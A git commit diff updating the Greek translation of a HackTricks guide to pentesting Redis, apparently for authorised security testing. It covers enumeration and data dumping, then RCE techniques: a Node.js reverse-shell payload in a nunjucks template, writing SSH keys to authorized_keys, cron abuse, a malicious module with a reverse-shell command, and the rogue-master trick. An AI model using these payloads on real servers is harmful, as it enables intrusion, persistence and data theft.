Translated ['network-services-pentesting/6379-pentesting-redis.md'] to g

This commit is contained in:
Translator 2024-02-14 23:27:11 +00:00
parent 1e1a259dd8
commit e058914f68

View file

@ -1,39 +1,39 @@
# 6379 - Ελέγχος ασφάλειας Redis
# 6379 - Ελέγχος Ευπαθειών στο Redis
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Συμμετέχετε στον [**Διακομιστή Discord του HackenProof**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
**Εισαγωγή στο Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Μείνετε ενημερωμένοι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ευρήματα ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών
Μείνετε ενήμεροι με τις νεότερες εκκλήσεις ευρημάτων ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Ελάτε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
## Βασικές Πληροφορίες
Από [τα έγγραφα](https://redis.io/topics/introduction): Το Redis είναι ένα ανοιχτού κώδικα (με άδεια BSD), αποθηκευτής δομής δεδομένων στη μνήμη, χρησιμοποιείται ως βάση δεδομένων, προσωρινή μνήμη και μεσολαβητής μηνυμάτων.
Από [τα έγγραφα](https://redis.io/topics/introduction): Το Redis είναι ένα ανοιχτού κώδικα (με άδεια BSD), αποθήκη δεδομένων στη μνήμη, χρησιμοποιείται ως βάση δεδομένων, cache και μεσάζοντας μηνυμάτων.
Από προεπιλογή, το Redis χρησιμοποιεί ένα πρωτόκολλο βασισμένο σε απλό κείμενο, αλλά πρέπει να έχετε υπόψη ότι μπορεί επίσης να εφαρμόσει **ssl/tls**. Μάθετε πώς να [εκτελέσετε το Redis με ssl/tls εδώ](https://fossies.org/linux/redis/TLS.md).
Από προεπιλογή, το Redis χρησιμοποιεί ένα πρωτόκολλο βασισμένο σε κείμενο, αλλά πρέπει να έχετε υπόψη ότι μπορεί επίσης να υλοποιήσει ssl/tls. Μάθετε πώς να [εκτελέσετε το Redis με ssl/tls εδώ](https://fossies.org/linux/redis/TLS.md).
**Προεπιλεγμένη θύρα:** 6379
```
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
```
## Αυτόματη Απαρίθμηση
Ορισμένα αυτοματοποιημένα εργαλεία που μπορούν να βοηθήσουν στην απόκτηση πληροφοριών από ένα παράδειγμα Redis:
Μερικά αυτοματοποιημένα εργαλεία που μπορούν να βοηθήσουν στην απόκτηση πληροφοριών από μια περίπτωση redis:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
@ -51,40 +51,38 @@ msf> use auxiliary/scanner/redis/redis_server
### Μπάνερ
Το Redis είναι ένα **πρωτόκολλο βασισμένο σε κείμενο**, μπορείτε απλά να **στείλετε την εντολή μέσω ενός socket** και οι επιστρεφόμενες τιμές θα είναι αναγνώσιμες. Επίσης, θυμηθείτε ότι το Redis μπορεί να λειτουργήσει χρησιμοποιώντας **ssl/tls** (αλλά αυτό είναι πολύ περίεργο).
Το Redis είναι ένα **κείμενο βασισμένο πρωτόκολλο**, μπορείτε απλά να **στείλετε την εντολή μέσω socket** και οι επιστρεφόμενες τιμές θα είναι αναγνώσιμες. Επίσης, θυμηθείτε ότι το Redis μπορεί να λειτουργεί χρησιμοποιώντας **ssl/tls** (αλλά αυτό είναι πολύ περίεργο).
Σε ένα κανονικό περιβάλλον Redis μπορείτε απλά να συνδεθείτε χρησιμοποιώντας το `nc` ή μπορείτε επίσης να χρησιμοποιήσετε το `redis-cli`:
Σε ένα κανονικό παράδειγμα Redis μπορείτε απλά να συνδεθείτε χρησιμοποιώντας `nc` ή μπορείτε επίσης να χρησιμοποιήσετε το `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Η **πρώτη εντολή** που μπορείτε να δοκιμάσετε είναι η **`info`**. Μπορεί να επιστρέψει έξοδο με πληροφορίες για την περίπτωση του Redis ή κάτι παρόμοιο με το παρακάτω να επιστρέφεται:
Την **πρώτη εντολή** που θα μπορούσες να δοκιμάσεις είναι το **`info`**. Ενδέχεται να επιστρέψει έξοδο με πληροφορίες της περίπτωσης Redis ή κάτι παρόμοιο με το παρακάτω:
```
-NOAUTH Authentication required.
```
Σε αυτήν την περίπτωση, αυτό σημαίνει ότι **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε πρόσβαση στην περίπτωση Redis.
### Ελέγχος Ταυτοποίησης Redis
### Πιστοποίηση Redis
**Από προεπιλογή**, η Redis μπορεί να προσπελαστεί **χωρίς διαπιστευτήρια**. Ωστόσο, μπορεί να **διαμορφωθεί** για να υποστηρίζει **μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης**.\
Είναι δυνατόν να **ορίσετε έναν κωδικό πρόσβασης** στο αρχείο _**redis.conf**_ με την παράμετρο `requirepass` **ή προσωρινά** μέχρι η υπηρεσία να επανεκκινηθεί συνδέοντας σε αυτήν και εκτελώντας: `config set requirepass p@ss$12E45`.\
Επίσης, μπορεί να διαμορφωθεί ένα **όνομα χρήστη** στην παράμετρο `masteruser` μέσα στο αρχείο _**redis.conf**_.
**Από προεπιλογή** το Redis μπορεί να προσπελαστεί **χωρίς διαπιστευτήρια**. Ωστόσο, μπορεί να **διαμορφωθεί** ώστε να υποστηρίζει **μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης**.\
Είναι δυνατόν να **οριστεί ένας κωδικός πρόσβασης** στο αρχείο _**redis.conf**_ με την παράμετρο `requirepass` **ή προσωρινά** μέχρι την επανεκκίνηση της υπηρεσίας συνδέοντας και εκτελώντας: `config set requirepass p@ss$12E45`.\
Επίσης, ένα **όνομα χρήστη** μπορεί να διαμορφωθεί στην παράμετρο `masteruser` μέσα στο αρχείο _**redis.conf**_.
{% hint style="info" %}
Εάν έχει διαμορφωθεί μόνο ο κωδικός πρόσβασης, το όνομα χρήστη που χρησιμοποιείται είναι "**default**".\
Επίσης, σημειώστε ότι δεν υπάρχει **τρόπος να βρείτε εξωτερικά** αν η Redis έχει διαμορφωθεί με μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.
Εάν διαμορφωθεί μόνο ο κωδικός πρόσβασης, το όνομα χρήστη που χρησιμοποιείται είναι "**default**".\
Επίσης, σημειώστε ότι **δεν υπάρχει τρόπος να ανιχνευθεί εξωτερικά** αν το Redis έχει διαμορφωθεί με μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.
{% endhint %}
Σε περιπτώσεις όπως αυτή, θα **χρειαστεί να βρείτε έγκυρα διαπιστευτήρια** για να αλληλεπιδράσετε με την Redis, οπότε μπορείτε να δοκιμάσετε να την [**επιτεθείτε με βίαιο τρόπο**](../generic-methodologies-and-resources/brute-force.md#redis).\
**Σε περίπτωση που βρείτε έγκυρα διαπιστευτήρια, θα πρέπει να πιστοποιήσετε τη συνεδρία** μετά την εγκαθίδρυση της σύνδεσης με την εντολή:
Σε περιπτώσεις όπως αυτή θα **χρειαστείτε έγκυρα διαπιστευτήρια** για να αλληλεπιδράσετε με το Redis, επομένως μπορείτε να προσπαθήσετε να [**δοκιμάσετε βίαια**](../generic-methodologies-and-resources/brute-force.md#redis) το σύστημα.\
**Σε περίπτωση που βρείτε έγκυρα διαπιστευτήρια, θα πρέπει να πιστοποιήσετε τη συνεδρία** μετά την καθιέρωση της σύνδεσης με την εντολή:
```bash
AUTH <username> <password>
```
**Έγκυρα διαπιστευτήρια** θα απαντηθούν με: `+OK`
### **Αυθεντικοποιημένη απαρίθμηση**
### **Εξερεύνηση με πιστοποίηση**
Εάν ο διακομιστής Redis επιτρέπει **ανώνυμες συνδέσεις** ή εάν έχετε λάβει έγκυρα διαπιστευτήρια, μπορείτε να ξεκινήσετε τη διαδικασία απαρίθμησης για την υπηρεσία χρησιμοποιώντας τις ακόλουθες **εντολές**:
Εάν ο διακομιστής Redis επιτρέπει **ανώνυμες συνδέσεις** ή εάν έχετε λάβει έγκυρα διαπιστευτήρια, μπορείτε να ξεκινήσετε τη διαδικασία εξερεύνησης της υπηρεσίας χρησιμοποιώντας τις παρακάτω **εντολές**:
```bash
INFO
[ ... Redis response with info ... ]
@ -95,15 +93,15 @@ CONFIG GET *
```
**Άλλες εντολές Redis** [**μπορούν να βρεθούν εδώ**](https://redis.io/topics/data-types-intro) **και** [**εδώ**](https://lzone.de/cheat-sheet/Redis)**.**
Σημειώστε ότι οι **εντολές Redis ενός παραδείγματος μπορούν να μετονομαστούν** ή να αφαιρεθούν από το αρχείο _redis.conf_. Για παράδειγμα, αυτή η γραμμή θα αφαιρέσει την εντολή FLUSHDB:
Σημειώστε ότι οι **εντολές Redis ενός παραδείγματος μπορεί να μετονομαστούν** ή να αφαιρεθούν στο αρχείο _redis.conf_. Για παράδειγμα, αυτή η γραμμή θα αφαιρέσει την εντολή FLUSHDB:
```
rename-command FLUSHDB ""
```
Περισσότερες πληροφορίες για την ασφαλή διαμόρφωση ενός Redis υπηρεσίας μπορείτε να βρείτε εδώ: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Περισσότερες πληροφορίες σχετικά με την ασφαλή ρύθμιση ενός υπηρεσίας Redis εδώ: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Μπορείτε επίσης να **παρακολουθείτε πραγματικά χρόνο τις εντολές Redis** που εκτελούνται με την εντολή **`monitor`** ή να λάβετε τις **25 πιο αργές ερωτήσεις** με την εντολή **`slowlog get 25`**
Μπορείτε επίσης **να παρακολουθείτε σε πραγματικό χρόνο τις εντολές Redis** που εκτελούνται με την εντολή **`monitor`** ή να λάβετε τις **25 πιο αργές ερωτήσεις** με την εντολή **`slowlog get 25`**
Βρείτε περισσότερες ενδιαφέρουσες πληροφορίες για περισσότερες εντολές Redis εδώ: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
Βρείτε περισσότερες ενδιαφέρουσες πληροφορίες σχετικά με περισσότερες εντολές Redis εδώ: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Αντιγραφή Βάσης Δεδομένων**
@ -111,11 +109,11 @@ rename-command FLUSHDB ""
![](<../.gitbook/assets/image (315).png>)
Ή μπορείτε απλά να πάρετε όλα τα **keyspaces** (βάσεις δεδομένων) με την εντολή:
Ή μπορείτε απλά να πάρετε όλα τα **keyspaces** (βάσεις δεδομένων) με:
```
INFO keyspace
```
Σε αυτό το παράδειγμα χρησιμοποιούνται οι **βάσεις δεδομένων 0 και 1**. Η **βάση δεδομένων 0 περιέχει 4 κλειδιά και η βάση δεδομένων 1 περιέχει 1**. Από προεπιλογή, το Redis θα χρησιμοποιήσει τη βάση δεδομένων 0. Για να κάνετε αντιγραφή ασφαλείας για παράδειγμα τη βάση δεδομένων 1, πρέπει να κάνετε:
Σε αυτό το παράδειγμα χρησιμοποιούνται οι **βάσεις δεδομένων 0 και 1**. Η **Βάση δεδομένων 0 περιέχει 4 κλειδιά και η βάση δεδομένων 1 περιέχει 1**. Από προεπιλογή, το Redis θα χρησιμοποιήσει τη βάση δεδομένων 0. Για να κάνετε dump για παράδειγμα τη βάση δεδομένων 1, πρέπει να κάνετε:
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -124,39 +122,42 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
Σε περίπτωση που λάβετε το ακόλουθο σφάλμα `-WRONGTYPE Λειτουργία εναντίον ενός κλειδιού που κρατάει το λάθος είδος τιμής` κατά την εκτέλεση της εντολής `GET <ΚΛΕΙΔΙ>` αυτό συμβαίνει επειδή το κλειδί μπορεί να είναι κάτι άλλο εκτός από μια συμβολοσειρά ή ένας ακέραιος και απαιτεί έναν ειδικό τελεστή για να το εμφανίσετε.
Σε περίπτωση που λάβετε το ακόλουθο σφάλμα `-WRONGTYPE Operation against a key holding the wrong kind of value` κατά την εκτέλεση της εντολής `GET <KEY>` σημαίνει ότι το κλειδί μπορεί να είναι κάτι διαφορετικό από μια συμβολοσειρά ή ένας ακέραιος και απαιτεί έναν ειδικό τελεστή για να εμφανιστεί.
Για να γνωρίζετε τον τύπο του κλειδιού, χρησιμοποιήστε την εντολή `TYPE`, παράδειγμα παρακάτω για κλειδιά λίστας και κλειδιά κατακερματισμού.
```
Για να μάθετε τον τύπο του κλειδιού, χρησιμοποιήστε την εντολή `TYPE`, παράδειγμα παρακάτω για κλειδιά λίστας και κλειδιά κατακερματισμού.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**Αντλήστε τη βάση δεδομένων με το npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ή την python** [**redis-utils**](https://pypi.org/project/redis-utils/)
**Ανακτήστε τη βάση δεδομένων με npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ή με python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ανακοινώσεις για ευρήματα ασφαλείας και σημαντικές ενημερώσεις της πλατφόρμας
Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για τα κυνήγια ευρημάτων και τις κρίσιμες ενημερώσεις της πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Συμμετέχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
## Redis RCE
### Διαδραστική Κέλυφος
### Διαδραστικό Shell
Το [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) μπορεί αυτόματα να αποκτήσει μια διαδραστική κέλυφος ή μια αντίστροφη κέλυφος στο Redis(<=5.0.5).
Το [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) μπορεί αυτόματα να λάβει ένα διαδραστικό shell ή ένα αντίστροφο shell στο Redis (<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
@ -174,13 +175,13 @@ OK
10.85.0.52:6379> save
OK
```
​Εάν έχετε πρόσβαση σε webshell, μπορείτε να αδειάσετε τη βάση δεδομένων μετά το αντίγραφο ασφαλείας και να προσπαθήσετε ξανά, μην ξεχάσετε να αποκαταστήσετε τη βάση δεδομένων.
Εάν η πρόσβαση στο webshell είναι εξαίρεση, μπορείτε να αδειάσετε τη βάση δεδομένων μετά το backup και να δοκιμάσετε ξανά, μην ξεχνάτε να επαναφέρετε τη βάση δεδομένων.
### Πρότυπο Webshell
Όπως και στην προηγούμενη ενότητα, μπορείτε επίσης να αντικαταστήσετε ένα αρχείο προτύπου HTML που θα ερμηνευθεί από έναν μηχανισμό προτύπου και να αποκτήσετε ένα shell.
Όπως και στην προηγούμενη ενότητα, μπορείτε επίσης να αντικαταστήσετε κάποιο αρχείο προτύπου html που θα ερμηνευτεί από έναν μηχανισμό προτύπου και να αποκτήσετε ένα shell.
Για παράδειγμα, ακολουθώντας [**αυτόν τον οδηγό**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), μπορείτε να δείτε ότι ο επιτιθέμενος ενέπλεξε ένα **rev shell σε ένα html** που ερμηνεύεται από τον **μηχανισμό προτύπου nunjucks:**
Για παράδειγμα, ακολουθώντας [**αυτό το writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), μπορείτε να δείτε ότι ο επιτιθέμενος ενσωμάτωσε ένα **rev shell σε ένα html** που ερμηνεύεται από τον **μηχανισμό προτύπου nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -195,19 +196,19 @@ sh.stderr.pipe(client);
)()}}
```
{% hint style="warning" %}
Σημειώστε ότι **πολλές μηχανές προτύπων κρατούν τα πρότυπα στη μνήμη**, οπότε ακόμη κι αν τα αντικαθιστάτε, το νέο **δε θα εκτελεστεί**. Σε αυτές τις περιπτώσεις, είτε ο προγραμματιστής άφησε ενεργή την αυτόματη επαναφόρτωση είτε πρέπει να κάνετε ένα DoS στην υπηρεσία (και να αναμένετε ότι θα επανεκκινηθεί αυτόματα).
Σημειώστε ότι **πολλά μηχανήματα προτύπων κρατούν τα πρότυπα στη μνήμη**, οπότε ακόμη κι αν τα αντικαταστήσετε, το νέο δεν θα εκτελεστεί. Σε αυτές τις περιπτώσεις, είτε ο προγραμματιστής άφησε ενεργή την αυτόματη επαναφόρτωση είτε πρέπει να κάνετε DoS στην υπηρεσία (και να περιμένετε να επανεκκινηθεί αυτόματα).
{% endhint %}
### SSH
Παράδειγμα [από εδώ](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Παρακαλώ να σημειώσετε ότι το αποτέλεσμα της εντολής **`config get dir`** μπορεί να αλλάξει μετά από άλλες εντολές εκμετάλλευσης. Προτείνεται να το εκτελέσετε πρώτα αμέσως μετά την είσοδο στο Redis. Στην έξοδο της εντολής **`config get dir`** μπορείτε να βρείτε το **home** του **χρήστη redis** (συνήθως _/var/lib/redis_ ή _/home/redis/.ssh_), και γνωρίζοντας αυτό, ξέρετε πού μπορείτε να γράψετε το αρχείο `authenticated_users` για να έχετε πρόσβαση μέσω ssh **με τον χρήστη redis**. Εάν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής, μπορείτε επίσης να το εκμεταλλευτείτε:
Παρακαλώ να σημειώσετε ότι το αποτέλεσμα της εντολής **`config get dir`** μπορεί να αλλάξει μετά από άλλες εντολές εκμετάλλευσης. Προτείνεται να το εκτελέσετε πρώτα αμέσως μετά τη σύνδεση στο Redis. Στην έξοδο της **`config get dir`** μπορείτε να βρείτε τον **φάκελο home** του **χρήστη redis** (συνήθως _/var/lib/redis_ ή _/home/redis/.ssh_), και γνωρίζοντας αυτό μπορείτε να γράψετε το αρχείο `authenticated_users` για πρόσβαση μέσω ssh **με τον χρήστη redis**. Αν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής, μπορείτε επίσης να το εκμεταλλευτείτε:
1. Δημιουργήστε ένα ζευγάρι κλειδιών ssh public-private στον υπολογιστή σας: **`ssh-keygen -t rsa`**
1. Δημιουργήστε ένα ζευγάρι κλειδιών ssh δημόσιου-ιδιωτικού στον υπολογιστή σας: **`ssh-keygen -t rsa`**
2. Γράψτε το δημόσιο κλειδί σε ένα αρχείο: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Εισαγάγετε το αρχείο στο redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Αποθηκεύστε το δημόσιο κλειδί στο αρχείο **authorized\_keys** στον διακομιστή redis:
3. Εισαγάγετε το αρχείο στο Redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Αποθηκεύστε το δημόσιο κλειδί στο αρχείο **authorized\_keys** στον διακομιστή Redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -218,7 +219,7 @@ OK
10.85.0.52:6379> save
OK
```
5. Τέλος, μπορείτε να συνδεθείτε με **ssh** στον **διακομιστή redis** με ιδιωτικό κλειδί: **ssh -i id\_rsa redis@10.85.0.52**
5. Τέλος, μπορείτε να συνδεθείτε μέσω ssh στον **διακομιστή redis** με το ιδιωτικό κλειδί: **ssh -i id\_rsa redis@10.85.0.52**
**Αυτή η τεχνική είναι αυτοματοποιημένη εδώ:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
@ -233,16 +234,16 @@ OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
Το τελευταίο παράδειγμα είναι για το Ubuntu, για το **Centos**, η παραπάνω εντολή θα πρέπει να είναι: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Το τελευταίο παράδειγμα είναι για Ubuntu, για το **Centos**, η παραπάνω εντολή θα πρέπει να είναι: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Αυτή η μέθοδος μπορεί επίσης να χρησιμοποιηθεί για να κερδίσετε bitcoin: [yam](https://www.v2ex.com/t/286981#reply14)
### Φόρτωση Redis Module
1. Ακολουθώντας τις οδηγίες από [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) μπορείτε να **μεταγλωτίσετε ένα Redis module για να εκτελείτε αυθαίρετες εντολές**.
2. Στη συνέχεια, χρειάζεστε κάποιον τρόπο για να **ανεβάσετε το μεταγλωττισμένο** module.
3. **Φορτώστε το ανεβασμένο module** κατά τη διάρκεια της εκτέλεσης με την εντολή `MODULE LOAD /path/to/mymodule.so`.
4. **Εμφανίστε τα φορτωμένα modules** για να ελέγξετε αν φορτώθηκε σωστά: `MODULE LIST`.
1. Ακολουθώντας τις οδηγίες από [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) μπορείτε **να συντάξετε ένα redis module για να εκτελέσετε αυθαίρετες εντολές**.
2. Στη συνέχεια, χρειάζεστε κάποιον τρόπο για **ανέβασμα του συνταγμένου** module
3. **Φορτώστε το ανεβασμένο module** κατά την εκτέλεση με `MODULE LOAD /path/to/mymodule.so`
4. **Καταχωρήστε τα φορτωμένα modules** για να ελέγξετε αν φορτώθηκαν σωστά: `MODULE LIST`
5. **Εκτελέστε** **εντολές**:
```
@ -252,19 +253,19 @@ OK
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Ξεφορτωθείτε το module όποτε θέλετε: `MODULE UNLOAD mymodule`
6. Αποφορτώστε το module όποτε θέλετε: `MODULE UNLOAD mymodule`
### Παράκαμψη του LUA sandbox
### Παράκαμψη αμμύγου LUA
[**Εδώ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) μπορείτε να δείτε ότι το Redis χρησιμοποιεί την εντολή **EVAL** για να εκτελέσει **Lua κώδικα με ασφάλεια**. Στη συνδεδεμένη ανάρτηση μπορείτε να δείτε **πώς να το καταχραστείτε** χρησιμοποιώντας τη συνάρτηση **dofile**, αλλά [φαίνεται](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) ότι αυτό δεν είναι πλέον δυνατό. Παρόλα αυτά, αν μπορείτε να **παρακάμψετε το Lua** sandbox μπορείτε να **εκτελέσετε αυθαίρετες** εντολές στο σύστημα. Επίσης, από την ίδια ανάρτηση μπορείτε να δείτε μερικές **επιλογές για προκάλεση DoS**.
[**Εδώ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) μπορείτε να δείτε ότι το Redis χρησιμοποιεί την εντολή **EVAL** για να εκτελέσει κώδικα **Lua sandboxed**. Στη συνδεδεμένη ανάρτηση μπορείτε να δείτε **πώς να το καταχραστείτε** χρησιμοποιώντας τη λειτουργία **dofile**, αλλά [προφανώς](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) αυτό δεν είναι πλέον δυνατό. Πάντως, αν μπορείτε **να παρακάμψετε το Lua** sandbox μπορείτε **να εκτελέσετε αυθαίρετες** εντολές στο σύστημα. Επίσης, από την ίδια ανάρτηση μπορείτε να δείτε μερικές **επιλογές για προκαλέσετε DoS**.
Ορισμένα **CVEs για απόδραση από το LUA**:
Μερικά **CVEs για απόδραση από το LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Ενότητα Master-Slave
Όλες οι λειτουργίες του master redis συγχρονίζονται αυτόματα στον slave redis, πράγμα που σημαίνει ότι μπορούμε να θεωρήσουμε το ευπαθές redis ως έναν slave redis, συνδεδεμένο στον master redis που ελέγχουμε, και στη συνέχεια μπορούμε να εισάγουμε εντολές στο δικό μας redis.
Ο master redis όλες οι λειτουργίες συγχρονίζονται αυτόματα στον slave redis, που σημαίνει ότι μπορούμε να θεωρήσουμε την ευπάθεια redis ως slave redis, συνδεδεμένη στον master redis που ελέγχουμε, έπειτα μπορούμε να εισάγουμε την εντολή στον δικό μας redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
